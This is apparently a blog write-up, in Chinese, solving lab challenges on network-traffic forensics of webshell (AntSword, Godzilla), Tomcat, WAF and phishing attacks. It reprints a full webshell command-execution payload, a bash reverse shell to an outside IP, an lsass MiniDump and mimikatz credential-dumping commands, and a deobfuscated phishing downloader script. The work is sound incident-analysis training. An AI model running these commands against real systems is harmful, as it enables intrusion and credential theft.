玄机第六章

友情提示:本文最后更新于 353 天前,文中的内容可能已有所发展或发生改变。

第六章 流量特征分析-蚁剑流量分析

直接拿到一个流量包,去peterpan博客偷点知识

1. 基本过滤器

  • 过滤HTTP状态码200:

    http.response.code == 200
    
  • 过滤HTTP GET请求:

    http.request.method == "GET"
    

2. IP 地址过滤

  • 过滤特定源IP地址的流量:

    ip.src == 192.168.1.1
    
  • 过滤特定目标IP地址的流量:

    ip.dst == 192.168.1.1
    
  • 过滤特定源或目标IP地址的流量:

    ip.addr == 192.168.1.1
    
  1. 端口过滤
  • 过滤特定源端口的流量:

    tcp.srcport == 80
    
  • 过滤特定目标端口的流量:

    tcp.dstport == 80
    
  • 过滤特定端口的流量(无论是源端口还是目标端口):

    tcp.port == 80
    

4. 协议过滤

  • 过滤HTTP流量:

    http
    
  • 过滤HTTPS流量:

    ssl
    
  • 过滤DNS流量:

    dns
    

5. 其他常用过滤器

  • 过滤特定MAC地址的流量:

    eth.addr == 00:11:22:33:44:55
    
  • 过滤TCP重传:

    tcp.analysis.retransmission
    
  • 过滤TCP三次握手过程:

    tcp.flags.syn == 1 && tcp.flags.ack == 0
    
  • 过滤TCP连接终止过程:

    tcp.flags.fin == 1
    

6. 组合过滤器

  • 过滤特定源IP和目标端口的流量:

    ip.src == 192.168.1.1 && tcp.dstport == 80
    
  • 过滤HTTP 200响应的流量:

    http && http.response.code == 200
    
  • 过滤HTTP 200服务器成功处理了请求:

    http contains "200"
    

flag1

我一开始就随便追踪了一个TCP流量,然后发现了木马

1

flag{1}

flag2

把执行的命令格式整理好

@ini_set("display_errors", "0");
@set_time_limit(0);

$opdir = @ini_get("open_basedir");

if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.d53e47c56e78";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

function asenc($out)
{
    return $out;
}

function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "2c" . "3f5";
    echo @asenc($output);
    echo "20" . "c49";
}

ob_start();

try {
    $p = base64_decode(substr($_POST["ma569eedd00c3b"], 2));
    $s = base64_decode(substr($_POST["ucc3f8650c92ac"], 2));
    $envstr = @base64_decode(substr($_POST["e5d0dbe94954b3"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";

    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }

    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }

    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    }

    $ret = @runcmd($r . " 2>&1");
    print($ret != 0) ? "ret={$ret}" : "";
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}

asoutput();
die();

&e5d0dbe94954b3=SR&ma569eedd00c3b=38L2Jpbi9zaA==&ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz

可以很明显的看出破壳漏洞,Shellshock 是一个著名的Bash漏洞,可以允许攻击者执行任意命令。存入的命令是base64的,我先过滤一下流量http contains "200",看了一个流量发现刚好,

1

这是执行了id命令,得到flag{id},但是还有一种更规范的方法,我们刚才知道了参数是用来进行恶意执行命令的,所以可以直接选中流量,右键->显示分组字节

1

flag3&&flag6

利用一样的方法,找出字节流

flag{/etc/passwd}

flag{/var/www/html/config.php}

flag4

上传文件过滤POST流量,http.request.method == "POST",显示出字节流,找到了flag{flag.txt}

flag5

上传的内容,那就还是这个数据包,追踪http流量,

@ini_set("display_errors", "0");
@set_time_limit(0);

$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.368479785";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

function asenc($out) {
    return $out;
}

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "6960" . "cb205";
    echo @asenc($output);
    echo "1e0a" . "91914";
}

ob_start();

try {
    $f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
    $c = $_POST["ld807e7193493d"];
    $c = str_replace("\r", "", $c);
    $c = str_replace("\n", "", $c);
    $buf = "";

    for ($i = 0; $i < strlen($c); $i += 2) {
        $buf .= urldecode("%" . substr($c, $i, 2));
    }

    echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
} catch (Exception $e) {
    echo "ERROR://".$e->getMessage();
}

asoutput();
die();
&ld807e7193493d=666C61677B77726974655F666C61677D0A&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==

绕过open_basedir,并且检查目录是否可写,如果可写就创建一个临时目录,改变工作目录进行文件的写入,ld807e7193493d为值,t41ffbc5fb0c04去除前两位为文件位置,因为写入的时候对于$c还做了一个url编码的设置,所以我们看到的应该是原字符串的十六进制,flag{write_flag}

第六章 流量特征分析-常见攻击事件 tomcat

flag1

用nmap进行扫描会留下SYN特征,并且有一个IP频繁出现,就算不知道扫描器特征也能知道

1

flag{14.0.0.120}

flag2

找到IP之后我们进行IP地址查询就可以知道flag{Guangzhou}

flag3

找Web端口,过滤一下流量http.response.code == 200

1

flag{8080}

flag4

一样的进行http.response.code == 200的过滤,发现有三个流量的protocol不一样

1

追踪一下流量在UA头里面发现了工具

1

flag{gobuster}

flag5

先过滤一下关键路由http contains "/admin",发现并没有找到,再过滤一下关键的HTTP头,http contains "Authorization",追踪HTTP流量,flag{admin-tomcat}

flag6

还是那一块的流量,找到了一个上传文件的包,当然你也可以过滤POST的包,http.request.method == "POST"

1

flag{JXQOZY.war}

flag7

进行权限维持,我们首先找找有没有修改/bin下面的东西,过滤流量http contains "/bin"没有,换成tcp contains "/bin",发现定时任务

1

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}

第六章 流量特征分析-waf 上的截获的黑客攻击流量

不是哥们166M的流量?

flag1

一般登录都是POST传参,当然也有GET,但是很少,我们先过滤一下http.request.method == "POST",这东西太大了,居然卡了一下,我还以为没有POST呢,

1

302跳转了,应该是登录成功了,flag{admin!@#pass123}

flag2

关键字符串,这种是靶场里面,那么应该是flag,如果是真实环境的话,我觉得最后可能的应该是hacked by XXX,但是关键字符串的筛选,并没有找出来,让AI写个脚本来查找

from scapy.all import *
import re


# 读取PCAP文件
def extract_http_with_flag(pcap_file):
    # 读取PCAP文件
    packets = rdpcap(pcap_file)

    # 用于存储包含'flag'的HTTP包
    http_packets_with_flag = []

    # 遍历所有包
    for packet in packets:
        # 判断包是否是TCP协议,并且是否包含HTTP层
        if packet.haslayer(TCP) and packet.haslayer(Raw):
            # 获取HTTP请求或响应的原始数据
            raw_data = packet[Raw].load.decode(errors='ignore')

            # 判断是否包含'flag'关键字
            if 'flag' in raw_data:
                # 将包含'flag'的包添加到列表中
                http_packets_with_flag.append(packet)

    return http_packets_with_flag


# 打印包含'flag'关键字的HTTP包的内容
def print_http_with_flag(http_packets):
    for packet in http_packets:
        if packet.haslayer(Raw):
            raw_data = packet[Raw].load.decode(errors='ignore')
            print(f"Found 'flag' in HTTP packet:\n{raw_data}\n")


# 主程序
if __name__ == "__main__":
    pcap_file = "web.pcap"  # 替换为你的PCAP文件路径
    http_packets_with_flag = extract_http_with_flag(pcap_file)
    print_http_with_flag(http_packets_with_flag)

flag3

寻找数据库的密码,进行流量的过滤http contains "dbpass"

1

flag{e667jUPvJjXHvEUv}

第六章 流量特征分析-蚂蚁爱上树

flag1

找密码,我们还是先过滤流量http.request.method == "POST",找到product2.php里面参数比较多,可能是登录的时候进行了一个参数的处理,那再进行一个字符串的跟踪,显示出字节流,进行2个字节的移动之后再进行base64解码,发现命令

cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&ls&echo [S]&cd&echo [E]7

没啥意义这一条,依次循环,我发现他在进行用户的添加,并且找了大概五六条流量之后找到了密码

cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]7

flag{Password1}

flag2

我们要先读懂题目是啥

rundll32.exe 是一个 Windows 系统进程,允许用户调用 Windows DLL 文件中的函数。这通常用于执行系统功能或脚本任务。rundll32.exe 被用来调用 comsvcs.dll 中的 MiniDump 函数,生成一个包含系统账户和密码信息的 lsass.dmp 文件。

LSASS.exe 是 Windows 操作系统中负责管理本地安全策略、用户认证和访问控制的关键系统进程。由于其在系统安全中的重要性,LSASS.exe 常常成为攻击者的目标。通过适当的监控、访问控制和安全工具,管理员可以有效地检测和防止对 LSASS 进程的恶意攻击。

不过我觉得就算不知道,瞎蒙也可以作对这个,因为我们已经知道,他在这里在执行命令了,所以接着找,就能知道他运行LSASS.exe的程序进程ID是多少

cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]

flag{852}

flag3

需要找到用户的密码,还是对product2.php,这里看着应该是一个域用户,需要去dumphash,导出http流,发现有个47M的,这太可疑了

1

导出之后将文件后缀改为dmp,发现文件头不对,修改成这样

1

mimikatz来进行hash的处理,下载好之后使用x64的版本

  • sekurlsa:这是 Mimikatz 中的一个模块,用于与 Windows 安全子系统进行交互,特别是与 LSASS.exe 进程相关的功能。
.\mimikatz.exe
sekurlsa::minidump product2.dmp
sekurlsa::logonpasswords

1

md5解密一下即可flag{admin#123}

第六章 流量特征分析-小王公司收到的钓鱼邮件

flag1

筛选一下http流,发现就几条流量了

1

发现压缩包flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}

flag2

就是让我们导出Zip包加密即可,追踪http流,直接导出分组字节流

1

运行md5sum 1.zip得到flag{f17dc5b1c30c512137e62993d1df9b2f}

flag3

解压zip,发现有个js文件,但是太乱了,写个脚本把注释部分处理了

import re


# 函数:去掉JS中的注释
def remove_js_comments(js_code):
    # 正则表达式:匹配单行注释和多行注释
    js_code_no_comments = re.sub(r'//.*?$|/\*.*?\*/', '', js_code, flags=re.DOTALL | re.MULTILINE)
    return js_code_no_comments


# 读取JS文件并处理
def process_js_file(file_path):
    with open(file_path, 'r', encoding='utf-8') as file:
        js_code = file.read()

    # 移除注释
    clean_js_code = remove_js_comments(js_code)

    return clean_js_code


# 主程序
if __name__ == "__main__":
    js_file = "Nuj.js"  # 替换为你的JS文件路径
    clean_js = process_js_file(js_file)

    # 输出处理后的内容(可以选择保存到新文件或者直接打印)
    print(clean_js)

    # 可选择保存处理后的JS代码到新文件
    with open("cleaned_script.js", 'w', encoding='utf-8') as output_file:
        output_file.write(clean_js)

拿到js还是很乱,让人机把格式弄一下

x808919187 = '';
x808919187 += 't';
x808919187 += 'r';
x808919187 += 'u';
x808919187 += 'e';
x449195806 = '';
x449195806 += 'f';
x449195806 += 'a';
x449195806 += 'l';
x449195806 += 's';
x449195806 += 'e';

v395493070(z986383452);

function k25931219(f684415514, p717292302) {
    d398776207 = '';
    d398776207 += '"';
    d398776207 += f684415514;
    d398776207 += '"';
    d398776207 += '.';
    d398776207 += 'm';
    d398776207 += 'a';
    d398776207 += 't';
    d398776207 += 'c';
    d398776207 += 'h';
    d398776207 += '(';
    d398776207 += ' ';
    d398776207 += '"';
    d398776207 += p717292302;
    d398776207 += '"';
    d398776207 += ' ';
    d398776207 += ')';
    return s843092254(d398776207);
}

function w327424018(q853060332, q577476678, g985523219) {
    g281403925 = '';
    g281403925 += '(';
    g281403925 += ' ';
    g281403925 += 'n';
    g281403925 += 'e';
    g281403925 += 'w';
    g281403925 += ' ';
    g281403925 += 'A';
    g281403925 += 'c';
    g281403925 += 't';
    g281403925 += 'i';
    g281403925 += 'v';
    g281403925 += 'e';
    g281403925 += 'X';
    g281403925 += 'O';
    g281403925 += 'b';
    g281403925 += 'j';
    g281403925 += 'e';
    g281403925 += 'c';
    g281403925 += 't';
    g281403925 += '(';
    g281403925 += ' ';
    g281403925 += '"';
    g281403925 += 'W';
    g281403925 += 'S';
    g281403925 += 'c';
    g281403925 += 'r';
    g281403925 += 'i';
    g281403925 += 'p';
    g281403925 += 't';
    g281403925 += '.';
    g281403925 += 'S';
    g281403925 += 'h';
    g281403925 += 'e';
    g281403925 += 'l';
    g281403925 += 'l';
    g281403925 += '"';
    g281403925 += ' ';
    g281403925 += ')';
    g281403925 += ' ';
    g281403925 += ')';
    g281403925 += '.';
    g281403925 += 'R';
    g281403925 += 'u';
    g281403925 += 'n';
    g281403925 += '(';
    g281403925 += ' ';
    g281403925 += "'";
    g281403925 += q853060332;
    g281403925 += "'";
    g281403925 += ',';
    g281403925 += ' ';
    g281403925 += q577476678;
    g281403925 += ',';
    g281403925 += ' ';
    g281403925 += g985523219;
    g281403925 += ' ';
    g281403925 += ')';
    v395493070(function() {
        s843092254(g281403925);
    });
}

function v395493070(j712825305) {
    try {
        new n616719679(y302945094);
    } catch (t33400252) {
        w265553656 = '';
        w265553656 += 'u';
        w265553656 += 'n';
        w265553656 += 'd';
        w265553656 += 'e';
        w265553656 += 'f';
        w265553656 += 'i';
        w265553656 += 'n';
        w265553656 += 'e';
        if (k25931219(w265553656)) {
            j712825305();
        }
    }
}

function y18358769(u311868867) {
    s169557020 = '';
    s169557020 += 'c';
    s169557020 += 'm';
    s169557020 += 'd';
    s169557020 += '.';
    s169557020 += 'e';
    s169557020 += 'x';
    s169557020 += 'e';
    s169557020 += ' ';
    s169557020 += '/';
    s169557020 += 'c';
    s169557020 += ' ';
    s169557020 += 'd';
    s169557020 += 'e';
    s169557020 += 'l';
    s169557020 += ' ';
    s169557020 += '"';
    s169557020 += u311868867;
    s169557020 += '"';
    w327424018(s169557020, x449195806, x808919187);
}

function z986383452(n865649288) {
    f350474578 = '';
    f350474578 += 'W';
    f350474578 += 'S';
    f350474578 += 'c';
    f350474578 += 'r';
    f350474578 += 'i';
    f350474578 += 'p';
    f350474578 += 't';
    f350474578 += '.';
    f350474578 += 'S';
    f350474578 += 'c';
    f350474578 += 'r';
    f350474578 += 'i';
    f350474578 += 'p';
    f350474578 += 't';
    f350474578 += 'F';
    f350474578 += 'u';
    f350474578 += 'l';
    f350474578 += 'l';
    f350474578 += 'N';
    f350474578 += 'a';
    f350474578 += 'm';
    f350474578 += 'e';
    d1887591 = '';
    d1887591 += '\\';
    d1887591 += '\\';
    z272081462 = s843092254(f350474578).replace(/\\/g, d1887591);
    y18358769(z272081462);
}

function u615667760(i750922179, u311868867) {
    u710353204 = '';
    u710353204 += 'c';
    u710353204 += 'm';
    u710353204 += 'd';
    u710353204 += '.';
    u710353204 += 'e';
    u710353204 += 'x';
    u710353204 += 'e';
    u710353204 += ' ';
    u710353204 += '/';
    u710353204 += 'c';
    u710353204 += ' ';
    u710353204 += 'e';
    u710353204 += 'c';
    u710353204 += 'h';
    u710353204 += '|';
    u710353204 += 's';
    u710353204 += 'e';
    u710353204 += 't';
    u710353204 += ' ';
    u710353204 += '/';
    u710353204 += 'p';
    u710353204 += '=';
    u710353204 += '"';
    u710353204 += 'c';
    u710353204 += 'u';
    u710353204 += '"';
    u710353204 += ' ';
    u710353204 += '>';
    u710353204 += ' ';
    u710353204 += '"';
    u710353204 += '%';
    u710353204 += 't';
    u710353204 += 'e';
    u710353204 += 'm';
    u710353204 += '%';
    u710353204 += '\\';
    u710353204 += '\\';
    u710353204 += 'd';
    u710353204 += 'o';
    u710353204 += 'l';
    u710353204 += 'o';
    u710353204 += 'r';
    u710353204 += 'e';
    u710353204 += 'm';
    u710353204 += '.';
    u710353204 += 'p';
    u710353204 += '.';
    u710353204 += 'b';
    u710353204 += 'a';
    u710353204 += 't';
    w327424018(u710353204, x449195806, x808919187);
    u789315486 = '';
    u789315486 += 'c';
    u789315486 += 'm';
    u789315486 += 'd';
    u789315486 += '.';
    u789315486 += 'e';
    u789315486 += 'x';
    u789315486 += 'e';
    u789315486 += ' ';
    u789315486 += '/';
    u789315486 += 'c';
    u789315486 += ' ';
    u789315486 += 'e';
    u789315486 += 'c';
    u789315486 += 'h';
    u789315486 += 'o';
    u789315486 += ' ';
    u789315486 += 'r';
    u789315486 += 'l';
    u789315486 += ' ';
    u789315486 += '"';
    u789315486 += i750922179;
    u789315486 += '"';
    u789315486 += ' ';
    u789315486 += '--';
    u789315486 += 'output';
    u789315486 += ' ';
    u789315486 += '"';
    u789315486 += '%';
    u789315486 += 't';
    u789315486 += 'e';
    u789315486 += 'm';
    u789315486 += '%';
    u789315486 += '\\';
    u789315486 += '\\';
    u789315486 += 'd';
    u789315486 += 'o';
    u789315486 += 'l';
    u789315486 += 'o';
    u789315486 += 'r';
    u789315486 += 'e';
    u789315486 += 'm';
    u789315486 += '.';
    u789315486 += 'p';
    u789315486 += '.';
    u789315486 += 'b';
    u789315486 += 'a';
    u789315486 += 't';
    w327424018(u789315486, x449195806, x808919187);
}

function s843092254(p326825704) {
    return eval(p326825704);
}

o457607380 = '';
o457607380 += 'h';
o457607380 += 't';
o457607380 += 't';
o457607380 += 'p';
o457607380 += 's';
o457607380 += ':';
o457607380 += '/';
o457607380 += '/';
o457607380 += 's';
o457607380 += 'h';
o457607380 += 'a';
o457607380 += 'k';
o457607380 += 'y';
o457607380 += 'a';
o457607380 += 's';
o457607380 += 't';
o457607380 += 'a';
o457607380 += 't';
o457607380 += 'u';
o457607380 += 'e';
o457607380 += 's';
o457607380 += 't';
o457607380 += 'r';
o457607380 += 'a';
o457607380 += 'd';
o457607380 += 'e';
o457607380 += '.';
o457607380 += 'c';
o457607380 += 'o';
o457607380 += 'm';
o457607380 += '/';
o457607380 += 'I';
o457607380 += 'h';
o457607380 += 'A';
o457607380 += '6';
o457607380 += 'F';
o457607380 += '/';
o457607380 += '6';
o457607380 += '1';
o457607380 += '6';
o457607380 += '2';
o457607380 += '3';
o457607380 += '1';
o457607380 += '6';
o457607380 += '0';
o457607380 += '3';
l988241708 = '';
l988241708 += 'q';
l988241708 += 'u';
l988241708 += 'i';
l988241708 += '.';
l988241708 += 'q';

u615667760(o457607380, l988241708);
r418484478(l988241708);

动态添加字符串,但是很明显最后的o457607380里面才有http,所以处理一下

o457607380 = '';
o457607380 += 'h';
o457607380 += 't';
o457607380 += 't';
o457607380 += 'p';
o457607380 += 's';
o457607380 += ':';
o457607380 += '/';
o457607380 += '/';
o457607380 += 's';
o457607380 += 'h';
o457607380 += 'a';
o457607380 += 'k';
o457607380 += 'y';
o457607380 += 'a';
o457607380 += 's';
o457607380 += 't';
o457607380 += 'a';
o457607380 += 't';
o457607380 += 'u';
o457607380 += 'e';
o457607380 += 's';
o457607380 += 't';
o457607380 += 'r';
o457607380 += 'a';
o457607380 += 'd';
o457607380 += 'e';
o457607380 += '.';
o457607380 += 'c';
o457607380 += 'o';
o457607380 += 'm';
o457607380 += '/';
o457607380 += 'I';
o457607380 += 'h';
o457607380 += 'A';
o457607380 += '6';
o457607380 += 'F';
o457607380 += '/';
o457607380 += '6';
o457607380 += '1';
o457607380 += '6';
o457607380 += '2';
o457607380 += '3';
o457607380 += '1';
o457607380 += '6';
o457607380 += '0';
o457607380 += '3';

console.log(o457607380);
// https://shakyastatuestrade.com/IhA6F/616231603

flag{shakyastatuestrade.com}

第六章-哥斯拉4.0流量分析

13个挑战?!

flag1

先把流量包,看下http流量,一进来我就看到黑客在fuzz,所以flag{192.168.31.190}

flag2

看到http流量的最后有PUT上传jsp,就是那个Tomcat漏洞,flag{CVE-2017-12615}

flag3

文件名flag{hello.jsp}

flag4

密码为flag{7f0e6f}

flag5

密钥为flag{1710acba6220f62b}

flag6

先筛选一下流量http contains "/hello.jsp",要知道第一个执行的是什么命令需要一个工具BlueTeamTools 挨个试

1

flag{uname -r}

flag7

找权限,这个流量包已经没用了,再继续找,找了一会儿

1

flag{root}

flag8

一样的找就行了,执行了cat /etc/os-release找到了flag{Debian GNU/Linux 10 (buster)},我交了三次,原来是我错意了,前面两个只是一个版本,并不是Linux版本

flag9

这里发现黑客执行命令没有成功

POST /hello.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: JSESSIONID=A4E00CFBEAD534C26CE338637009936D;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 192.168.31.168:8080
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 257

7f0e6f=mEkY4yb%2Fxb%2FiJDb63p5ns8XlZJ7YcRIxuZtnsTDcqa2t3HdQZOgX3rbZL9EfqcVjpvv7jR47DBQWSvdffg3CSLUFAI0RTij4TmbSXf5xOehSxtiWQ7h3W%2BseS7YYNM6bjaxlHm4bTf4kAIY9II3tLb3szMV67oTfcsWSHOjv%2BWI4awfE2osILDcFBerCwtIM%2BRooGQJDRdylaXZQnYwuhayhjw9FXxaKiyIQC%2BbVlSs%3D
HTTP/1.1 200 
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 96
Date: Thu, 19 Sep 2024 12:59:33 GMT

B333AF03A314E0FBAT+h/KB6rJ20cLv/ywStnQEThPES9jvtb9ES2qcCt7SqYO04KvIlSI/z12BFnUiV0F00BC7E2672E1F5

主要是执行了rmp -qa | grep pam,得到了回显2>&1: 1: 2>&1: rmp: not found,虽然不是flag但是很明显是题目要求的“过滤了什么”,其中要过滤出pam,接着找到了

1

1

flag{dpkg -l libpam-modules:amd64}

flag10

留下的后门,也就是反弹shell的IP和port,这个我最开始就找到了flag{192.168.31.143:1313}

1

flag11

上传文件肯定要够大,一直在找没找到,重新过滤一下http contains "/hello.jsp",将大小筛选一下,发现第二个就是

1

恶意so文件,flag{pam_unix.so}

flag12&&flag13

找不到在流量里面,流量已经被我们翻完了,链接服务器。先看一下history

1

把so文件dump下来放进IDA里面,之前是在过滤pam函数,而现在我们肯定也是这样,并且需要密码,那我们直接找auth类似的函数

1

1

flag{XJ@123},同一张图里面还有DNSLOG的地址,那我笑纳了,flag{c0ee2ad2d8.ipv6.xxx.eu.org.}

小结

图片放的比较多,但是感觉不放图片就会不懂一些说的(语文不好),挺有意思的,就是不会写脚本手动太累了